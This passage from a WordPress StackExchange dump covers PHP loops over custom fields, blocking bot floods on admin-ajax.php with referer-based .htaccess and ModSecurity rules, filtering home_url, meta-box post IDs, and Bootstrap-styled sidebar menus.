write it?</p>
[ { "answer_id": 282806, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>There is no hard limit, but when you have many fields (I'm talking hundreds or thousands, not dozens), you might run into limits on execution time on your host.</p>\n\n<p>In this case, I'd do something like this to turn it into a loop if you don't need specific HTML. </p>\n\n<pre><code>foreach(range(1, 5, 1) as $imageNumber) {\n if ( $image = get_field(\"imagen\" . $imageNumber) ) { ?&gt;\n &lt;div class=\"slider-item\"&gt; \n &lt;!-- &lt;a href=\"#\" class=\"slider-item-plus\"&gt; + &lt;/a&gt; --&gt;\n &lt;img src=\"&lt;?php echo $image['url'] ?&gt;\" alt=\"slider photo\" class=\"img-responsive\"&gt;\n &lt;/div&gt;\n &lt;?php }\n}\n</code></pre>\n\n<p>You could still do specific HTML with this using <a href=\"http://au2.php.net/manual/control-structures.switch.php\" rel=\"nofollow noreferrer\">switch</a>, but I usually stop putting things into the same loop when I find them different enough that they need to get very different HTML. </p>\n" }, { "answer_id": 282808, "author": "Sergi", "author_id": 115742, "author_profile": "https://wordpress.stackexchange.com/users/115742", "pm_score": 0, "selected": false, "text": "<p>I've actually fixed this with this loop, in this case with a limit of 10 iterations.:</p>\n\n<pre><code>&lt;?php \n for( $iteration = 1; $iteration &lt;= 10; $iteration++){ \n if ( get_field(\"imagen\".$iteration ) ){ ?&gt;\n &lt;div class=\"slider-item\"&gt; \n &lt;img src=\"&lt;?php echo get_field(\"imagen\".$iteration)['url'] ?&gt;\" alt=\"slider photo\" class=\"img-responsive\"&gt;\n &lt;/div&gt;\n &lt;?php } ?&gt;\n&lt;?php } ?&gt;\n</code></pre>\n" } ]
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282798", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/115742/" ]
Sometimes with Wordpress, I find myself writing long if/else chains to see if a field (a field I've created in advanced custom fields for example) exists, for example: ``` $imagen1 = get_field("imagen1"); $imagen2 = get_field("imagen2"); $imagen3 = get_field("imagen3"); $imagen4 = get_field("imagen4"); $imagen5 = get_field("imagen5"); <?php if ( $imagen1 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen1['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen2 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen2['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen3 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen3['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen4 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen4['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> <?php if ( $imagen5 ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $imagen5['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } ?> ``` I have seen this in a few webpages that I have inherited as well. It is not very effective as there is a limit in the amount of fields you can display since you have to add a new if chain everytime a new field is added. Can this be replaced with a loop? And if so, how would you write it?
There is no hard limit, but when you have many fields (I'm talking hundreds or thousands, not dozens), you might run into limits on execution time on your host. In this case, I'd do something like this to turn it into a loop if you don't need specific HTML. ``` foreach(range(1, 5, 1) as $imageNumber) { if ( $image = get_field("imagen" . $imageNumber) ) { ?> <div class="slider-item"> <!-- <a href="#" class="slider-item-plus"> + </a> --> <img src="<?php echo $image['url'] ?>" alt="slider photo" class="img-responsive"> </div> <?php } } ``` You could still do specific HTML with this using [switch](http://au2.php.net/manual/control-structures.switch.php), but I usually stop putting things into the same loop when I find them different enough that they need to get very different HTML.
282,814
<p>I experienced that my server received a 99% CPU load and the site goes almost down.</p> <p>Checked the access log file and there are tons of following entries:</p> <pre><code>203.115.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 212.92.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 218.29.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 104.130.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 176.123.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 45.115.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 212.92.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 31.179.XXX.XXX - - [13/Oct/2017:12:40:04 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 61.5.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;POST /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 178 201.59.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] &quot;GET /wp-admin/admin-ajax.php HTTP/1.0&quot; 200 1 </code></pre> <p>Within a few hours, almost 800 single requests of the same IPs. This doesn't seem natural to me. Additionally according to analytics, there are not that many users on the page when this happens.</p> <p>So it seems that the hit come from outside and impacting my servers power.</p> <p>When blocking access to the admin-ajax.php file via htaccess, the cpu load is back to 1-3% and everything is fine.</p> <h3>My question:</h3> <p>Is there a way to <strong>block these spamming requests to the admin-ajax.php</strong> file which come from &quot;outside&quot; <strong>and only allow installed plugins/theme to access the admin-ajax.php file instead</strong>?</p> <h3>Update</h3> <p>It really seems like my site got spammed by some bots/servers.</p> <p>Tried several things like Cloudflare, different hosting etc. The only thing which helped was using <a href="https://www.dpbolvw.net/click-9244267-13942194" rel="nofollow noreferrer">Sucuri</a> as Website Firewall which blocks everything.</p>
[ { "answer_id": 282821, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 0, "selected": false, "text": "<p>There is no magic bullet, I'm afraid. If you're too careful in blocking, you won't hit them, if you're not careful enough, you will end up blocking legitimate requests from users.</p>\n\n<p>You could try to block them based on whether they send an <code>Origin</code> header or not. Browsers usually will, bot developers might not because they typically don't have to (and as someone who has written a few bots himself, at least I am pretty lazy when coding).</p>\n\n<p>These seem to be using HTTP/1.0, while Browsers generally use 1.1 (and above).</p>\n\n<p>Do they send User-Agents that look like legitimate Browser or do they just have \"libwww-perl/5.76\" or something similar?</p>\n\n<p>I'd probably opt for a multi-criteria blocking mechanism. If it looks like a legitimate User-Agent but uses HTTP 1.0 and doesn't send an Origin header, it probably is a bot. You could go further, and only block after they've made one suspicious request (e.g. looking at what action they are trying to execute).</p>\n\n<p>An advanced idea is to cross reference that with \"did this IP have a regular page view before starting AJAX-requests?\" or \"did this IP ever request an image or a css/js file?\", because bots most likely won't unless they are trying to be really stealthy or target your site specifically. That could get problematic if you do allow proxy servers to cache those resources (CloudFlare will do that automatically) and might be a bit too much effort for keeping them at bay, though.</p>\n" }, { "answer_id": 282825, "author": "majick", "author_id": 76440, "author_profile": "https://wordpress.stackexchange.com/users/76440", "pm_score": 0, "selected": false, "text": "<p>While there is no reliable way to distinguish genuine AJAX calls from bot ones, in a situation like this you could block access using <code>.htaccess</code> </p>\n\n<p>Plain no referer block (as suggested by @janh2): </p>\n\n<pre><code>RewriteEngine on\nRewriteCond %{HTTP_REFERER} ^-?$\nRewriteRule ^wp-admin/admin-ajax.php - [F,L]\n</code></pre>\n\n<p>or with ModSecurity and a custom message:</p>\n\n<pre><code>&lt;Locationmatch \"/wp-admin/admin-ajax.php\"&gt;\nSecRule REQUEST_METHOD \"POST\" \"deny,status:401,id:972687,chain,msg:'wp-admin ajax request blocked, no referrer'\"\nSecRule &amp;HTTP_REFERER \"@eq 0\"\n&lt;/Locationmatch&gt;\n</code></pre>\n\n<p>(Source: <a href=\"https://troyglancy.com/stopped-wordpress-brute-force-attacks-server/\" rel=\"nofollow noreferrer\">https://troyglancy.com/stopped-wordpress-brute-force-attacks-server/</a>)</p>\n\n<p>Again, not something you'd want to do if you weren't already experiencing problems as the referer header can be easily spoofed, but it might make a difference for you or anyone else with an active admin-ajax.php attack vector.</p>\n" }, { "answer_id": 282841, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 1, "selected": false, "text": "<p>No there isn't a way, any more than there is a way to block \"spammers\" from accessing you home page. I mean you could put all kind of checks, but in the end you will break how sites are supposed to behave which will mean that someone somewhere will not get his content. If all you have is a blog maybe you just do not care as long as your friends and family can read it, but if you actually generate money with your site you might care more.</p>\n\n<p>Instead of looking at logs you should ask yourself how come a request that should do nothing except for bootstraping wordpress is bringing down your site. If you run php 7+ and object cache the cpu cost of handling a \"spammy\" request should be close to zero. So either you should upgrade your server side to better gandle traffic, or you have a targeted attack against a specific plugin which tries to exploit its ajax handler, in which case identifying the target of the attack should be top priority. While an attack is unlikely, it still might make sense to change your log to show the payload of the request.</p>\n" } ]
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282814", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/48490/" ]
I experienced that my server received a 99% CPU load and the site goes almost down. Checked the access log file and there are tons of following entries: ``` 203.115.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 212.92.XXX.XXX - - [13/Oct/2017:12:40:01 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 218.29.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 104.130.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 176.123.XXX.XXX - - [13/Oct/2017:12:40:02 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 45.115.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 212.92.XXX.XXX - - [13/Oct/2017:12:40:03 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 31.179.XXX.XXX - - [13/Oct/2017:12:40:04 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 92.240.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 61.5.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.0" 200 178 201.59.XXX.XXX - - [13/Oct/2017:12:40:07 +0000] "GET /wp-admin/admin-ajax.php HTTP/1.0" 200 1 ``` Within a few hours, almost 800 single requests of the same IPs. This doesn't seem natural to me. Additionally according to analytics, there are not that many users on the page when this happens. So it seems that the hit come from outside and impacting my servers power. When blocking access to the admin-ajax.php file via htaccess, the cpu load is back to 1-3% and everything is fine. ### My question: Is there a way to **block these spamming requests to the admin-ajax.php** file which come from "outside" **and only allow installed plugins/theme to access the admin-ajax.php file instead**? ### Update It really seems like my site got spammed by some bots/servers. Tried several things like Cloudflare, different hosting etc. The only thing which helped was using [Sucuri](https://www.dpbolvw.net/click-9244267-13942194) as Website Firewall which blocks everything.
No there isn't a way, any more than there is a way to block "spammers" from accessing you home page. I mean you could put all kind of checks, but in the end you will break how sites are supposed to behave which will mean that someone somewhere will not get his content. If all you have is a blog maybe you just do not care as long as your friends and family can read it, but if you actually generate money with your site you might care more. Instead of looking at logs you should ask yourself how come a request that should do nothing except for bootstraping wordpress is bringing down your site. If you run php 7+ and object cache the cpu cost of handling a "spammy" request should be close to zero. So either you should upgrade your server side to better gandle traffic, or you have a targeted attack against a specific plugin which tries to exploit its ajax handler, in which case identifying the target of the attack should be top priority. While an attack is unlikely, it still might make sense to change your log to show the payload of the request.
282,827
<p>I would like to change the home_url for a custom post type that I have created. </p> <p>The reason I would like to change the home_url is so that the site logo then links to a different URL when someone is viewing a custom post. </p> <p>The custom post type is named 'usa', therefore I want to change the logo / home url to link to mysite.com/usa/ </p> <p>I have used the code below to achieve this, however I get errors because other links that make use of home_url, such as menu links, then have 'usa' appended to them, e.g mysite.com/usa/example-post/usa/ </p> <p>Does someone know a better implementation? </p> <pre><code>add_filter( 'home_url', 'custom_home_url' ); function custom_home_url( $url ) { if( is_singular('us') ) return $url .'/usa'; else { return $url; } } </code></pre>
[ { "answer_id": 282828, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>Your filter generally seems fine.</p>\n\n<p>I'd probably filter <code>option_home</code> instead of <code>home_url</code>, but it results in the same thing for most use cases (<code>bloginfo(\"home\")</code> will work and so will <code>get_home_url()</code>, but <code>get_option(\"home\")</code> will only work correctly with <code>option_home</code>).</p>\n" }, { "answer_id": 282834, "author": "Ashtmdu", "author_id": 129304, "author_profile": "https://wordpress.stackexchange.com/users/129304", "pm_score": 0, "selected": false, "text": "<p>I would suggest putting this in the file that contains your menu code, the header file usually. You can just check the page on load to see if the page your on needs the USA appending to the link.</p>\n\n<p>Here is an example that could be used for any element within a page.</p>\n\n<p><strong>HEADER.PHP</strong></p>\n\n<pre><code>&lt;?php\nif( is_singular('us') ) { \n $url = site_url( '/usa/' );\n} else { \n $url = site_url();\n}\n?&gt;\n&lt;nav&gt;\n &lt;a href=\"&lt;?php echo $url; ?&gt;\" class=\"logo\"&gt;MY LOGO&lt;/a&gt;\n&lt;/nav&gt;\n</code></pre>\n\n<p><code>site_url()</code> by default will just give you your website URL but it can also take an extra <code>$path</code> parameter to append to the end of the URL. This is why I have put <code>'/usa/'</code> inside <code>site_url()</code> above.</p>\n" } ]
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282827", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102297/" ]
I would like to change the home\_url for a custom post type that I have created. The reason I would like to change the home\_url is so that the site logo then links to a different URL when someone is viewing a custom post. The custom post type is named 'usa', therefore I want to change the logo / home url to link to mysite.com/usa/ I have used the code below to achieve this, however I get errors because other links that make use of home\_url, such as menu links, then have 'usa' appended to them, e.g mysite.com/usa/example-post/usa/ Does someone know a better implementation? ``` add_filter( 'home_url', 'custom_home_url' ); function custom_home_url( $url ) { if( is_singular('us') ) return $url .'/usa'; else { return $url; } } ```
Your filter generally seems fine. I'd probably filter `option_home` instead of `home_url`, but it results in the same thing for most use cases (`bloginfo("home")` will work and so will `get_home_url()`, but `get_option("home")` will only work correctly with `option_home`).
282,833
<p>I trying to get the ID of the post on edit page but its displaying the wrong ID</p> <p><a href="https://i.stack.imgur.com/WIwY8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WIwY8.png" alt="Wrong post ID"></a></p> <p>Custom Post:</p> <pre><code>register_post_type( 'projetos', array( 'description' =&gt; 'Projetos do Scan' ,'exclude_from_search' =&gt; false ,'public' =&gt; true ,'publicly_queryable' =&gt; true ,'show_ui' =&gt; true ,'show_in_menu' =&gt; true ,'query_var' =&gt; true ,'rewrite' =&gt; array( 'slug' =&gt; 'projeto' ) ,'capability_type' =&gt; 'post' ,'has_archive' =&gt; true ,'menu_position' =&gt; 20 ,'supports' =&gt; array( 'title', 'editor' ) ,'hierarchical' =&gt; true ,'labels' =&gt; array( 'name' =&gt; _x( 'Projetos', 'post type general name', 'Projetos do Scan' ), 'singular_name' =&gt; _x( 'Projeto', 'post type singular name', 'Projetos do Scan' ), 'menu_name' =&gt; _x( 'Projetos', 'admin menu', 'Projetos do Scan' ), 'name_admin_bar' =&gt; _x( 'Projeto', 'add new on admin bar', 'Projetos do Scan' ), 'add_new' =&gt; _x( 'Adicionar Novo', 'foto', 'Projetos do Scan' ), 'add_new_item' =&gt; __( 'Adicionar Novo Projeto', 'Projetos do Scan' ), 'new_item' =&gt; __( 'Novo Projeto', 'Projetos do Scan' ), 'edit_item' =&gt; __( 'Editar Projeto', 'Projetos do Scan' ), 'view_item' =&gt; __( 'Ver Projeto', 'Projetos do Scan' ), 'all_items' =&gt; __( 'Todos os Projetos', 'Projetos do Scan' ), 'search_items' =&gt; __( 'Buscar Projetos', 'Projetos do Scan' ), 'parent_item_colon' =&gt; __( 'Projetos:', 'Projetos do Scan' ), 'not_found' =&gt; __( 'Nenhum projeto encontrado.', 'Projetos do Scan' ), 'not_found_in_trash' =&gt; __( 'Nenhum projeto encontrado na lixeira.', 'Projetos do Scan' ) ) ,'menu_icon' =&gt; 'dashicons-clipboard' ,'register_meta_box_cb' =&gt; 'projetos_meta_box' // adicionar meta boxes e remover meta boxes neste callback ) ); </code></pre> <p>Callback:</p> <pre><code>function projetos_meta_box() { add_meta_box('projetos_info_meta_box', 'Informações', 'render_projetos_info_meta_box', 'projetos', 'side', 'default'); add_meta_box('projetos_imagens_meta_box', 'Imagens', 'render_projetos_imagens_meta_box', 'projetos', 'normal', 'default'); add_meta_box('projetos_capitulos_meta_box', 'Capítulos', 'render_projetos_capitulos_meta_box', 'projetos', 'normal', 'default'); </code></pre> <p>}</p> <p><strong>and here's the problem</strong></p> <pre><code>function render_projetos_imagens_meta_box( $post ) { global $post; wp_nonce_field( 'projetos_imagens_meta_box', 'projetos_imagens_meta_box'); $imagens_projeto = json_decode( get_post_meta( $post-&gt;ID, 'imagens_projeto', true ) ); ob_start(); ?&gt; &lt;?php echo var_dump($post); ?&gt; &lt;div style="margin-top: 10px;"&gt; &lt;button type="button" id="btn_add_img" class="button button-primary button-large"&gt;Adicionar&lt;/button&gt; &lt;/div&gt; &lt;ul class="attachments-projeto"&gt; &lt;?php if( !empty( $imagens_projeto ) ) : foreach( $imagens_projeto as $img_pjt ) : ?&gt; &lt;li&gt; &lt;button data-id="&lt;?php echo $img_pjt-&gt;id; ?&gt;" type="button" class="btn_remover_img"&gt; &lt;span class="dashicons dashicons-trash"&gt;&lt;/span&gt; &lt;/button&gt; &lt;img alt="&lt;?php echo $img_pjt-&gt;title; ?&gt;" src="&lt;?php echo $img_pjt-&gt;url; ?&gt;" /&gt; &lt;/li&gt; &lt;?php endforeach; endif; ?&gt; &lt;/ul&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;input type="hidden" id="imagens_projeto" name="imagens_projeto" value="&lt;?php echo get_post_meta( $post-&gt;ID, 'imagens_projeto', true ); ?&gt;" /&gt; &lt;?php echo ob_get_clean(); </code></pre> <p>}</p>
[ { "answer_id": 282850, "author": "L.Milo", "author_id": 129596, "author_profile": "https://wordpress.stackexchange.com/users/129596", "pm_score": 1, "selected": false, "text": "<p>If you remove the line <code>global $post;</code> (and really you should remove it), there is no reason this shouldn't work, according to <a href=\"https://developer.wordpress.org/reference/functions/add_meta_box/\" rel=\"nofollow noreferrer\">the official documentation</a>, unless as @rudtek mentioned, you run a custom query somewhere and the <code>$post</code> has changed </p>\n" }, { "answer_id": 282856, "author": "Benoti", "author_id": 58141, "author_profile": "https://wordpress.stackexchange.com/users/58141", "pm_score": 0, "selected": false, "text": "<p>I think your problem come from the json_decode. It's look like the get_post_meta returns you a member data (post_type->membros on the bottom var_dump) !</p>\n\n<p>Have a look on the code to save this meta.</p>\n" }, { "answer_id": 282974, "author": "David Martins", "author_id": 129590, "author_profile": "https://wordpress.stackexchange.com/users/129590", "pm_score": -1, "selected": false, "text": "<p>Since I cannot solve the problem I did a workaround to this </p>\n\n<pre><code>$post_id = intval($_GET['post']);\n</code></pre>\n\n<p>Basically I getting the post ID from the edit post url</p>\n" } ]
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282833", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129590/" ]
I trying to get the ID of the post on edit page but its displaying the wrong ID [![Wrong post ID](https://i.stack.imgur.com/WIwY8.png)](https://i.stack.imgur.com/WIwY8.png) Custom Post: ``` register_post_type( 'projetos', array( 'description' => 'Projetos do Scan' ,'exclude_from_search' => false ,'public' => true ,'publicly_queryable' => true ,'show_ui' => true ,'show_in_menu' => true ,'query_var' => true ,'rewrite' => array( 'slug' => 'projeto' ) ,'capability_type' => 'post' ,'has_archive' => true ,'menu_position' => 20 ,'supports' => array( 'title', 'editor' ) ,'hierarchical' => true ,'labels' => array( 'name' => _x( 'Projetos', 'post type general name', 'Projetos do Scan' ), 'singular_name' => _x( 'Projeto', 'post type singular name', 'Projetos do Scan' ), 'menu_name' => _x( 'Projetos', 'admin menu', 'Projetos do Scan' ), 'name_admin_bar' => _x( 'Projeto', 'add new on admin bar', 'Projetos do Scan' ), 'add_new' => _x( 'Adicionar Novo', 'foto', 'Projetos do Scan' ), 'add_new_item' => __( 'Adicionar Novo Projeto', 'Projetos do Scan' ), 'new_item' => __( 'Novo Projeto', 'Projetos do Scan' ), 'edit_item' => __( 'Editar Projeto', 'Projetos do Scan' ), 'view_item' => __( 'Ver Projeto', 'Projetos do Scan' ), 'all_items' => __( 'Todos os Projetos', 'Projetos do Scan' ), 'search_items' => __( 'Buscar Projetos', 'Projetos do Scan' ), 'parent_item_colon' => __( 'Projetos:', 'Projetos do Scan' ), 'not_found' => __( 'Nenhum projeto encontrado.', 'Projetos do Scan' ), 'not_found_in_trash' => __( 'Nenhum projeto encontrado na lixeira.', 'Projetos do Scan' ) ) ,'menu_icon' => 'dashicons-clipboard' ,'register_meta_box_cb' => 'projetos_meta_box' // adicionar meta boxes e remover meta boxes neste callback ) ); ``` Callback: ``` function projetos_meta_box() { add_meta_box('projetos_info_meta_box', 'Informações', 'render_projetos_info_meta_box', 'projetos', 'side', 'default'); add_meta_box('projetos_imagens_meta_box', 'Imagens', 'render_projetos_imagens_meta_box', 'projetos', 'normal', 'default'); add_meta_box('projetos_capitulos_meta_box', 'Capítulos', 'render_projetos_capitulos_meta_box', 'projetos', 'normal', 'default'); ``` } **and here's the problem** ``` function render_projetos_imagens_meta_box( $post ) { global $post; wp_nonce_field( 'projetos_imagens_meta_box', 'projetos_imagens_meta_box'); $imagens_projeto = json_decode( get_post_meta( $post->ID, 'imagens_projeto', true ) ); ob_start(); ?> <?php echo var_dump($post); ?> <div style="margin-top: 10px;"> <button type="button" id="btn_add_img" class="button button-primary button-large">Adicionar</button> </div> <ul class="attachments-projeto"> <?php if( !empty( $imagens_projeto ) ) : foreach( $imagens_projeto as $img_pjt ) : ?> <li> <button data-id="<?php echo $img_pjt->id; ?>" type="button" class="btn_remover_img"> <span class="dashicons dashicons-trash"></span> </button> <img alt="<?php echo $img_pjt->title; ?>" src="<?php echo $img_pjt->url; ?>" /> </li> <?php endforeach; endif; ?> </ul> <div class="clearfix"></div> <input type="hidden" id="imagens_projeto" name="imagens_projeto" value="<?php echo get_post_meta( $post->ID, 'imagens_projeto', true ); ?>" /> <?php echo ob_get_clean(); ``` }
If you remove the line `global $post;` (and really you should remove it), there is no reason this shouldn't work, according to [the official documentation](https://developer.wordpress.org/reference/functions/add_meta_box/), unless as @rudtek mentioned, you run a custom query somewhere and the `$post` has changed
282,905
<p><strong>Note : Please note that I create this theme to re-sell, so I need little bit good way to add it.</strong></p> <p>This is how I register the menus on my right sidebar:</p> <pre><code>if(function_exists('register_sidebar')){ register_sidebar(array( 'name'=&gt;'sidebar_default', 'before_widget' =&gt; '&lt;div class="panel panel-info"&gt;', 'after_widget' =&gt; '&lt;/div&gt;', 'before_title' =&gt; '&lt;div class="panel-heading"&gt;&lt;h4&gt;', 'after_title' =&gt; '&lt;/h4&gt;&lt;/div&gt;' )); } </code></pre> <p>And this is the output:</p> <pre><code>&lt;div class="panel panel-info"&gt; &lt;div class="panel-heading"&gt; &lt;h4&gt;Title&lt;/h4&gt; &lt;/div&gt; &lt;div class="menu-openings-menu-container"&gt; &lt;ul id="menu-openings-menu" class="menu"&gt; &lt;li id="" class="menu-item-object-page menu-item-381"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-382"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-383"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-384"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;li id="" class="menu-item-object-page menu-item-385"&gt;&lt;a href=""&gt;Software&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>and this is how do it need the output to be able to use Twitter Bootstrap list-styles styles:</p> <pre><code>&lt;ul class="list-group"&gt; &lt;li class="list-group-item"&gt;Cras justo odio&lt;/li&gt; &lt;li class="list-group-item"&gt;Dapibus ac facilisis in&lt;/li&gt; &lt;li class="list-group-item"&gt;Morbi leo risus&lt;/li&gt; &lt;li class="list-group-item"&gt;Porta ac consectetur ac&lt;/li&gt; &lt;li class="list-group-item"&gt;Vestibulum at eros&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>I appreciate all suggestions. Thanks.</p> <p><img src="https://i.stack.imgur.com/qDuDi.png" alt="output"></p> <p><img src="https://i.stack.imgur.com/F1Xxd.png" alt="Source code"></p>
[ { "answer_id": 282908, "author": "IXN", "author_id": 80031, "author_profile": "https://wordpress.stackexchange.com/users/80031", "pm_score": 1, "selected": false, "text": "<p>If you are dealing with just one site and not creating a theme maybe the easiest solution is to do it \"manually\". It is not the most \"professional\" way to do it, but it works.</p>\n\n<p>Take a text widget or the new html widget, paste your code, for example:</p>\n\n<pre><code>&lt;ul class=\"list-group\"&gt;\n &lt;li class=\"list-group-item\"&gt;Cras justo odio&lt;/li&gt;\n &lt;li class=\"list-group-item\"&gt;Dapibus ac facilisis in&lt;/li&gt;\n &lt;li class=\"list-group-item\"&gt;Morbi leo risus&lt;/li&gt;\n &lt;li class=\"list-group-item\"&gt;Porta ac consectetur ac&lt;/li&gt;\n &lt;li class=\"list-group-item\"&gt;Vestibulum at eros&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>and make the changes (to the links) manually.</p>\n" }, { "answer_id": 282998, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 0, "selected": false, "text": "<p>If you are going to sell your theme as stated in your comments, and you want to make drastic changes to a nav menu to use in a widget, I'm not sure if even creating a walker could be the solution.</p>\n\n<p>Instead, I suggest using a widget or shortcode for further usage. Here's a basic example, by using <a href=\"https://developer.wordpress.org/reference/functions/wp_get_nav_menu_items/\" rel=\"nofollow noreferrer\"><code>wp_get_nav_menu_items()</code></a>:</p>\n\n<pre><code>add_shortcode('my-nav-menu','my_nav_menu_callback');\nfunction my_nav_menu_callback($atts){\n $atts = shortcode_atts( \n array(\n 'location' =&gt; '',\n ), \n $atts, \n '' \n ); \n\n // Get the menu by its theme location\n $menu = get_term( $locations[$atts['location']], 'nav_menu' );\n $menu_items = wp_get_nav_menu_items($menu-&gt;term_id);\n\n // Run a loop and output the menu\n $menu_list = '&lt;ul class=\"list-group\"&gt;';\n\n foreach( $menu_items as $menu_item ) {\n\n if( $menu_item-&gt;menu_item_parent == 0 ) {\n\n $parent = $menu_item-&gt;ID;\n\n $menu_array = array();\n foreach( $menu_items as $submenu ) {\n if( $submenu-&gt;menu_item_parent == $parent ) {\n $bool = true;\n $menu_array[] ='&lt;li class=\"list-group-item\"&gt;'.$submenu-&gt;title.'&lt;/li&gt;';\n }\n }\n if( $bool == true &amp;&amp; count( $menu_array ) &gt; 0 ) {\n\n $menu_list .= '&lt;li class=\"list-group-item\"&gt;'.$menu_item-&gt;title.'&lt;/li&gt;';\n\n } else {\n\n $menu_list .= '&lt;li class=\"list-group-item\"&gt;' . $menu_item-&gt;title . '&lt;/li&gt;';\n }\n\n }\n\n }\n\n $menu_list .='&lt;/ul&gt;';\n\n return $menu_list;\n}\n</code></pre>\n\n<p>Now you can have access to your menu by using <code>[my-nav-menu location='menu-location]</code> in the content or any text widget. </p>\n\n<p>Make sure you enable support for using shortcodes in text widgets first, by using:</p>\n\n<pre><code>add_filter('widget_text','do_shortcode');\n</code></pre>\n" }, { "answer_id": 382874, "author": "Arthur Ronconi", "author_id": 33111, "author_profile": "https://wordpress.stackexchange.com/users/33111", "pm_score": 0, "selected": false, "text": "<p>You can use the <code>dynamic_sidebar_params</code> filter:</p>\n<pre><code>function dynamic_sidebar_before_filter ($params) {\n $params[0]['before_widget'] = str_replace('class=&quot;widget-container', 'class=&quot;widget-container w3-white w3-margin-bottom w3-card', $params[0]['before_widget']);\n $params[0]['before_title'] = str_replace('class=&quot;widget-title', 'class=&quot;widget-title', $params[0]['before_title']);\n return $params;\n}\nadd_action('dynamic_sidebar_params', 'dynamic_sidebar_before_filter');\n</code></pre>\n" } ]
2017/10/14
[ "https://wordpress.stackexchange.com/questions/282905", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/56652/" ]
